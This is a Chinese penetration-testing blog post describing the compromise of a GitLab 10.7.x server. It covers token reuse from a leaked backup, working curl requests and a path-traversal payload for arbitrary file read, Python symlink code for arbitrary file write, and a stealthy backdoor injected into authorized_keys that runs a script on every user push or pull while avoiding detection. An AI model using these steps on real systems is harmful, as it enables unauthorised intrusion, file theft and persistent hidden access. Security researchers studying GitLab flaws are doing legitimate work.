记一次测试gitlab

2020-06-12 约 228 字 预计阅读 2 分钟

声明:本文 【记一次测试gitlab】 由作者 sinensis 于 2020-06-12 09:41:36 首发 先知社区 曾经 浏览数 195 次

感谢 sinensis 的辛苦付出!

端口扫描

nmap过了一遍,开了三个端口:

80的gitlab
22的SSH
8000的目录遍历

从8000端口的目录遍历获取到gitlab数据库的一个备份文件,很不幸的是这个备份文件是3年前的备份 :)

突破点

翻备份文件获取到的信息有如下:

  1. 登陆用户名
  2. 登陆密码的hash值
  3. 一堆提交的log

到这个时候是两个思路:

  1. 把gitlab的密码生成方式拿出来,然后弱密码跑一遍
  2. 再看看其他的

如果要达成第一条,需要过一下gitlab的密码生成流程,ruby不会,作为最后的方式再说。

authentication_token

在翻了N个gitlab的漏洞分析之后,在https://paper.seebug.org/104/文章里面找到authentication_token可以访问接口,尝试使用数据库里面的token测试成功。

Getshell

先确定gitlab的版本号:10.7.X
根据版本号在gitlab官方的issue里面翻到两处漏洞。
任意文件读取: https://gitlab.com/gitlab-org/gitlab-foss/issues/54857
任意文件写入: https://gitlab.com/gitlab-org/gitlab-foss/issues/49133

如果单是GetShell的话,用文件写入把ssh的公钥写到对应的目录,然后ssh登陆就可以了。
但是这样子就会造成两个问题:

  1. 对方用户使用git更新代码的时候就GG。
  2. 异地登陆SSH服务器会报警。

所以这个作为备用方案尝试。
gitlab的提交更新的时候,是先ssh认证,然后再执行gitlab命令,公钥的位置一般是固定的:/var/opt/gitlab/.ssh/authorized_keys,这个可以从gitlab的公钥可以很明显的看出来:

command="/opt/gitlab/embedded/service/gitlab-shell/bin/gitlab-shell key-133",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty ssh-rsa ...

所以可以利用任意文件写入漏洞,把这个公钥全部改一遍,流程是这样的:

  1. 任意文件读取获取公钥的全部内容
  2. 把后门加上去,任意文件写入覆盖公钥,但是必须保证不能影响正常功能,这样用户提交代码之后就会触发后门。

公钥类似这样子:

command="/opt/gitlab/embedded/service/gitlab-shell/bin/gitlab-shell key-133 ;bash /var/tmp/gitlab.sh >/dev/null 2>&1",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty ssh-rsa ...

这里的gitlab.sh是用户push或者pull会触发执行,必须gitlab.sh脚本执行没有输出,不能阻塞。

  1. 输出会影响正常使用功能
  2. 反弹会阻塞正常功能使用

再回头说一下这两个漏洞,测试之前可以用docker本地测一下,docker文件如下:

web:
  image: 'gitlab/gitlab-ce:10.7.3-ce.0'
  restart: always
  hostname: '127.0.0.1'
  environment:
    GITLAB_OMNIBUS_CONFIG: |
      external_url 'http://gitlab.example.com'
      redis['bind']='127.0.0.1'
      redis['port']=6379
      gitlab_rails['initial_root_password']=File.read('/steg0_initial_root_password')
      unicorn['socket']='/opt/gitlab/var/unicorn/gitlab.socket'
  ports:
    - '80:80'
    - '50443:443'
    - '22:22'
  volumes:
    - './srv/gitlab/config:/etc/gitlab'
    - './srv/gitlab/logs:/var/log/gitlab'
    - './srv/gitlab/data:/var/opt/gitlab'
    - './steg0_initial_root_password:/steg0_initial_root_password'

docker设置密码

docker启动之后,设置用户的密码:

gitlab-ctl reconfigure
gitlab-ctl restart

重置密码:
root 用户登录服务器,一定要是 root
gitlab-rails console production
user = User.where(id: 2).first
user.password = '123456aa'
user.password_confirmation = '123456aa'
user.save

\l  查看数据库
\dt  查看表
\di  看索引
\c <db> 连接某个db

Directory traversal with GitignoreTemplate API

检测这个漏洞很简单,POC:

127.0.0.1:5080/api/v4/templates/gitignores/%2e%2e%2fPython%2ea

然后我们拿Token来测试一下任意文件读取:

先建好数据包,然后打包

tar zcf vuln.tar.gz *

为了避免被发现,可以使用api接口来操作:

新建项目:
curl --request POST --header "PRIVATE-TOKEN: oijax6zWpkdZ9VZi419R" --form "path=project" --form "file=@./vuln.tar.gz" http://127.0.0.1:5080/api/v3/projects/import

导入项目(爆绝对路径):
curl  --header "PRIVATE-TOKEN: oijax6zWpkdZ9VZi419R"  http://127.0.0.1:5080/api/v4/projects/70/import

删除项目:
curl --request DELETE  --header "PRIVATE-TOKEN: oijax6zWpkdZ9VZi419R" http://127.0.0.1:5080/api/v4/projects/70


任意文件读取
PAYLOAD=$(echo "../../../public/uploads/../shared/tmp/project_exports/test1/33333/083c74ddd76bc4a1f7ef7635efddcebd/uploads/host" | sed 's|\.|%2e|g' | sed 's|\/|%2f|g')
curl  http://127.0.0.1/api/v3/templates/gitignores/$PAYLOAD%2ea -v|jq

注意事项:

  1. 如果使用tar zcf vuln.tar.gz ./* 会失败
  2. uploads目录权限555,防止gitlab删除符号链接
  3. project.json为空也是某的问题。
  4. 对于没有权限的文件,比如读取/root/.bash_history会出现500的message信息
  5. 可以读取多个,但是需要保证每个需要读取的文件有权限。
  6. 上传压缩包之后可以删除项目文件,软连接依旧存在
  7. 不存在的文件会显示404,二进制文件会显示500的message

任意文件覆盖漏洞

影响版本:>= 8.9.0
修复版本:11.0.4, 10.8.6, and 10.7.7

https://xz.aliyun.com/t/2661
https://gitlab.com/gitlab-org/gitlab-foss/issues/49133
https://gitlab.com/gitlab-org/gitlab-foss/issues/41757

建立一个文件名里面有换行符的软连接:

import os
os.symlink("/var/opt/gitlab", ".\nevil")

创建完了之后上传,成功导入项目之后Remove Project,此时在gitlab里面会保存这个软连接。然后构造第二个压缩包:

import os
os.makedirs(".\nevil")

创建一个包含换行符的目录,然后在改目录下创建要写入的文件夹以及文件

步骤:

  1. 创建完第一个文件夹之后,软连接到根目录
  2. 然后使用第二个压缩包把要写入的文件写到对应的目录里面即可,详细的内容可以看chybeta师傅的的复现步骤: https://xz.aliyun.com/t/2661

END:

gitlab备份文件,使用以下命令
sudo gitlab-rake gitlab:backup:create

关键词:[‘渗透测试’, ‘渗透测试’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now